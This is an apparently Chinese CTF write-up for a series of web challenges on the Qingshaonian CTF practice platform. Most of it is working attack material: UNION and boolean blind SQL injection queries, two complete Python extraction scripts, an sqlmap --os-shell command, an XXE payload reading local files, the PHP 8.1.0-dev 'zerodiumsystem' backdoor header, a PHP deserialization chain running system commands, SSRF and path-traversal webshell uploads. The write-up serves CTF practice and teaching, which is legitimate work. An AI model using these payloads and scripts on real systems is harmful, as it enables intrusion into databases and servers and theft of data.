青少年CTF练习平台 Web 第一页

文章管理系统

点击下一篇

到第4篇就没有内容了,并且翻篇之后会get传参id,尝试sql注入

/?id=4 order by 2#

/?id=4 order by 3#

2列

查看回显位:/?id=4 union select 1,2#

1 2 都能回显内容

查库:/?id=4 union select 1,database()#

word库

查表:/?id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema="word"#

articles

查字段名:/?id=4 union select 1,group_concat(column_name) from information_schema.columns where table_schema="word" and table_name="articles"#

id,title,word

查字段内容:/?id=4 union select 1,group_concat(id,title,word) from articles#

/?id=1 or 1=1 #

提交qsnctf{sql+so+easy!!!!}是错误的

提示:你需要命令执行才能拿到最终FLAG(确信)

使用sqlmap启动shell:python sqlmap.py -u http://challenge.qsnctf.com:38530/?id=1 --os-shell

find / -name *flag*

flag{e01a59261e8c4a38808980fc0eee6fba}

Robots

查看:/robots.txt

查看:/f1ag_1n_the_h3re.php

flag{397870c00e7844ff9c15959644383c1e} 

黑客终端

尝试很多命令除了ls都显示找不到该命令,查看前端源码

flag{006c916a8ba94dfabb368f138a4043db}

此地无银三百两

查看源码

flag{43b52a6ea525467082de49d6e7f2c7d1}

PHP的XXE

提示XXE漏洞,查看libxml版本

2.9.0以下默认开启外部实体解析功能

常见可以触发XXE漏洞的文件:dom.php、SimpleXMLElement.php、simplexml_load_string.php

三个文件都可以触发XXE漏洞

先访问漏洞文件,再传payload:

<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note [
    <!ENTITY test SYSTEM "file:///flag">
    ]>
    <data>&test;</data>

flag{1bf07721f54d424fbf72de7d5d973f6f}

PHP的后门

提示:查看php版本

搜索:PHP/8.1.0-dev漏洞。得知:

在User-Agentt中使用zerodiumsystem("");可以进行命令执行:User-Agentt: zerodiumsystem("cat /etc/passwd");

查看flag:User-Agentt: zerodiumsystem("cat /flag");

flag{d8a5bcdaf60b41d9b4a5e1f269c0ac12}

EasyMD5

先上传一个正常的图片

减少内容,再发送

换成pdf文件,再上传

MD5碰撞:需要这两个内容的md5值相等。尝试0e215962017

要求内容不能一样

尝试弱比较绕过payload:314282422、571579406

flag{593d1e25f1a44569a6210c5ca491f009}

Easy_SQLi

进行了很多尝试,都回显:

直到' or 1=1 #

结合标题以及只有两种回显内容,应该就是布尔盲注了。exp:

import requests

url = "http://challenge.qsnctf.com:38592/login.php"
right_text = "Login successful"
flag = ""

for i in range(1,1000):
    low,high = 32,126
    over = False
    while low <= high:
        mid = (low+high) // 2

        # 查当前数据库名:qsnctf
        # sql1 = f"' or (ascii(substr((database()),{i},1))={mid})#"
        # sql2 = f"' or (ascii(substr((database()),{i},1))>{mid})#"

        # 查当前数据库下的所有表名:users
        # sql1 = f"' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='qsnctf')),{i},1))={mid})#"
        # sql2 = f"' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='qsnctf')),{i},1))>{mid})#"

        # 查当前数据库下的users表的所有字段:id,username,password
        # sql1 = f"' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='qsnctf')and(table_name='users')),{i},1))={mid})#"
        # sql2 = f"' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='qsnctf')and(table_name='users')),{i},1))>{mid})#"

        # 查当前数据库下的users表的所有字段的内容:1admin123456,2userflag{e92d40ec066e4183b933c1acacea2a3b}
        sql1 = f"' or (ascii(substr((select group_concat(id,username,password) from qsnctf.users),{i},1))={mid})#"
        sql2 = f"' or (ascii(substr((select group_concat(id,username,password) from qsnctf.users),{i},1))>{mid})#"

        resp1 = requests.post(url, data={"uname":sql1, "psw":"1"})
        resp2 = requests.post(url, data={"uname":sql2, "psw":"1"})

        if right_text == resp1.text:
            flag += chr(mid)
            print(flag)
            over = True
            break
        elif right_text == resp2.text:
            low = mid + 1
        else:
            high = mid - 1

    if not over:
        break

查users表中的数据时要指定数据库才能查出来,不然的话查的内容为空。

flag{e92d40ec066e4183b933c1acacea2a3b}

雏形系统

目录扫描:python dirmap.py -i http://challenge.qsnctf.com:38687/

下载后解压打开qsnctf.php得到重要信息:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
    .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
    .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTW
XBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21m
QlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelV
TbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bU
h6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNte
lVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpV
U216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVN
nUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbW
ZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216V
VNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVT
ZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1
RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaH
ViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d
0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhn
Uzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT0
9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));

phpjm混淆内容还原,参考:奇安信攻防社区-phpjm混淆解密浅谈

手动解混淆:

把eval改为echo并执行

将输出内容替换掉原来的eval及其内容以及修改eval为echo并执行

成功获得源码:

<?php
error_reporting(0);

class shi
{
    public $next;
    public $pass;
    public function __toString(){
        $this->next::PLZ($this->pass);
    }
}
class wo
{
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
        echo "Hi Try serialize Me!";
        $this->inspect();
    }
    function inspect(){
        if($this->sex=='boy'&&$this->age=='eighteen')
        {
            echo $this->intention;
        }
        echo "🙅18岁🈲";
    }
}

class Demo
{
    public $a;
    static function __callStatic($action, $do)
    {
        global $b;
        $b($do[0]);
    }
}

$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
    echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
    echo("登录成功");
}

?>

poc:

<?php

class shi
{
    public $next;
    public $pass='cat /flag';
}
class wo
{
    public $sex='boy';
    public $age='eighteen';
    public $intention;
}
class Demo
{

}

$wo = new wo();
$wo->intention = new shi();
$wo->intention->next = new Demo();
echo serialize($wo);

payload:username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:9:"cat /flag";}}&password=system

flag{8cb414cba0674ec695bfe71438de3c96}

穿梭隐藏的密钥

查看源码

访问:c3s4f.php

查看源码

提示:爆破参数,找到可用参数

arjun -u http://challenge.qsnctf.com:38691/c3s4f.php -m GET

可用参数:shell

目录扫描:python dirmap.py -i http://challenge.qsnctf.com:38691

payload:http://challenge.qsnctf.com:38691/c3s4f.php?shell=http://localtest.me/secret.php

localtest.me可以绕过127.0.0.1的过滤

获得key:MSIBLG以及下一关的文件:cha11eng3.php

访问:http://challenge.qsnctf.com:38691/cha11eng3.php

第一步:利用data伪协议写入上个页面中获得的key,payload:http://challenge.qsnctf.com:38691/cha11eng3.php?DrKn=data://text/plain,MSIBLG

第二步:md4弱比较绕过,_被过滤可用[绕过,payload:http://challenge.qsnctf.com:38691/cha11eng3.php?M[ore.8=0e251288019

第三步:md5强比较绕过,payload:wtf[]=1&mC[]=2

flag{a9f3dfbcbca94c75ad01ab96f1aa3adb}

EzLogin

参考:青少年CTFweb_穿梭隐藏的密钥-CSDN博客

先手动过一遍。注册:admin'and/**/length(database())/**/=/**/5#        123

登录后把TOKEN的值cp下来,进行十六进制转字符、base64解密:

把is_admin的值改为1,再原路编码回去

将修改后的TOKEN值替换掉原来的,再刷新页面,得到:

以admin'and/**/length(database())/**/=/**/5#为例,

sql语句内容正确时:@q^4*!z8a9-%42z.s~

内容错误时:No user found.

内容中有字符被过滤时:Hacker!!

所有被过滤的内容:

['`', '~', '!', '@', '%', '^', '&', '-', '+', '[', ']', '{', '}', '|', ':', '<', '>', '?', '--', '--+', '&&', '||', '<>', '!(<>)', 'xor', 'if', 'not', 'sleep', 'union', 'order', 'by', 'concat', 'group_concat', 'group', 'benchmark', 'is', 'rlike', 'offset', 'distinct', 'perpare', 'declare', 'mid', 'left', 'right', 'handler', 'set', 'char', 'hex', 'updatexml', 'extractvalue', 'regexp', 'floor', 'having', 'between', 'into', 'join', 'file', 'outfile', 'load_file', 'create', 'drop', 'convert', 'cast', 'show', 'pg_sleep', 'reverse', 'execute', 'open', 'read', 'first', 'case', 'end', 'then', 'iconv', 'greatest']
主要影响:< 和 > 被过滤,不能使用二分查找了,只能通过=来一个一个遍历比较、group_concat被过滤,遇到不同行的数据需要借助limit函数来一个一个取。

exp:

import requests
import base64
import json
import time

url = "http://challenge.qsnctf.com:38786/"
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%"

def sql_find_ans(sql):
    # 空格用注释符绕过
    sql = sql.replace(" ", "/**/")

    # 注册
    data = {"username": sql, "password": "123"}
    resp_register = requests.post(url + "register.php", data=data)

    # 登录并获取原始响应头中的TOKEN值(重定向后的页面响应头中没有TOKEN值)
    resp_login = requests.post(url + "login.php", data=data, allow_redirects=False)
    token = resp_login.headers["Set-Cookie"].split("=")[1]
    # print(f"[ORIGINAL_TOKEN]:{token}")

    # 解密
    token = json.loads(base64.b64decode(bytes.fromhex(token)))
    # print(f"[NOT_ADMIN]:{token}")
    # 修改为admin身份
    token["is_admin"] = 1
    # print(f"[IS_ADMIN]:{token}")
    # 加密回去
    token = base64.b64encode(json.dumps(token).encode("utf-8")).hex()
    # print(f"[PROCESSED_TOKEN]:{token}")

    # 访问home.php并获取结果内容
    cookies = {"TOKEN": token}
    resp_home = requests.post(url + "home.php", cookies=cookies)
    resp_home = resp_home.text.split('<div class="seached-text">')[1].split("</div>")[0].replace("</br>","\n")
    # print(f"[RESULT]:{resp_home}")
    return resp_home

def fuzz_check():
    all_check_word = []
    with open(r"D:\Learn\字典\sql_key_words.txt", "r") as text:
        text = text.read().replace("\n",",").split(",")
        for key_word in text:
            print(f"[CHECK]正在检查字符/函数:{key_word}")
            try:
                result = sql_find_ans(key_word)
            except Exception as e:
                continue
            if "Hacker!!" in result:
                all_check_word.append(key_word)
                print(f"{key_word}被过滤!")
    print(f"[NO]所有被过滤的内容:{all_check_word}")

def get_length_one():
    for length in range(1,100):
        print(f"[?]正在尝试长度:{length}")
        # 获取当前数据库名的长度
        # sql = f"admin'and length(database()) = {length}#"
        # 获取sseeccrreett字段内容的长度
        sql = f"admin'and length((select sseeccrreett from dkctf.secret)) = {length}#"
        try:
            result = sql_find_ans(sql)
        except Exception as e:
            print(e)
            continue
        if "No user found" not in result:
            print(f"[LENGTH]:{length}")
            return length
            break

def get_ans_one():
    length = get_length_one()
    ans = ""
    for i in range(1, length + 1):
        print(f"[?]正在获取第{i}个字符...")
        for char in chars:
            # 获取数据库名
            # sql = f"admin'and substr((database()),{i},1) = '{char}'#"
            # 获取sseeccrreett字段内容
            sql = f"admin'and substr((select sseeccrreett from dkctf.secret),{i},1) = '{char}'#"
            try:
                result = sql_find_ans(sql)
            except Exception as e:
                print(e)
                continue
            if "No user found" not in result:
                ans += char
                print(f"[OK]已获取到第{i}个字符:{char}")
                break
    print(f"[ANS]:{ans}")

def get_length_two():
    length_result = {}
    for i in range(20):
        over = False
        for length in range(1,100):
            # 获取当前数据库下所有单个表名的长度
            # sql = f"admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {i},1)) = {length}#"
            # 获取secret表下所有单个字段名的长度
            sql = f"admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {i},1)) = {length}#"
            try:
                result = sql_find_ans(sql)
            except Exception as e:
                print(e)
                continue
            if "No user found" not in result:
                print(f"[LENGTH_RESULT]第{i+1}个长度为:{length}")
                length_result[i] = length
                over = True
                break
        if not over:
            return length_result

def get_ans_two():
    length_dict = get_length_two()
    ans = {}
    for leng in range(len(length_dict)):
        tmp = ""
        for i in range(1, length_dict[leng] + 1):
            print(f"[?]正在获取第{leng+1}个的第{i}个字符...")
            for char in chars:
                # 获取当前数据库下所有单个表名
                # sql = f"admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {leng},1),{i},1) = '{char}'#"
                # 获取secret表下所有单个字段名
                sql = f"admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {leng},1),{i},1) = '{char}'#"
                try:
                    result = sql_find_ans(sql)
                except Exception as e:
                    print(e)
                    continue
                if "No user found" not in result:
                    tmp += char
                    print(f"[OVO]第{leng+1}个内容的第{i}个字符为:{char}")
                    break
            ans[leng] = tmp
    print(f"[ANS]:{ans}")

if __name__ == '__main__':
    start_time = time.time()

    # 检查哪些字符和函数被过滤了
    # fuzz_check()
    # 用于获取同一行的值:数据库名、最后的flag
    get_ans_one()
    # 用于获取不同行的值:各个表名、各个字段名
    # get_ans_two()

    end_time = time.time()
    print(f"[OVER]程序结束,耗时(秒):{end_time-start_time}")

flag{5e32f88f1f224bdf909918989ac7c029}

ezsign

输入admin、123登录

来到留言板后输入127.0.0.1或dir等其他命令都只会将输入的内容直接回显出来,没有可供利用的地方。

尝试目录扫描获取信息:python dirmap.py -i http://challenge.qsnctf.com:38814

下载后打开,得到关键信息:

满足$_SERVER['REMOTE_ADDR'] == "127.0.0.1"条件后会出现一个可供上传文件的功能。

利用点:

extract函数会将数组中的键值对拆解为变量名和对应的变量值,所以可以通过变量覆盖的方式来满足条件。payload:/?_SERVER[REMOTE_ADDR]=127.0.0.1

上传任何文件以及尝试修改内容MIME等都显示上传失败!

回到从index.php.bak中获取到的源码:

默认的上传路径应该是:/var/www/html/upload/登录时输入的用户名/上传的文件名

从源码中可以得知:username这里是没有任何过滤的,所以可以抓包改username的值为..来将上传的文件实现路径穿越到html目录下

先进行b64解码        然后修改admin为..        最后加密回去

eyJ1c2VybmFtZSI6Ii4uIiwicGFzc3dvcmQiOiIxMjMifQ==

文件可以上传至网站根目录中

访问上传成功的小马并进行命令执行:a=system("ls /");

a=system("cat /f1ag_1s_h3r3_04c76718-3c8f-4049-be9c-322548473c10");

flag{d95dab3003bd4158ae5cb907cac9e6ca}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值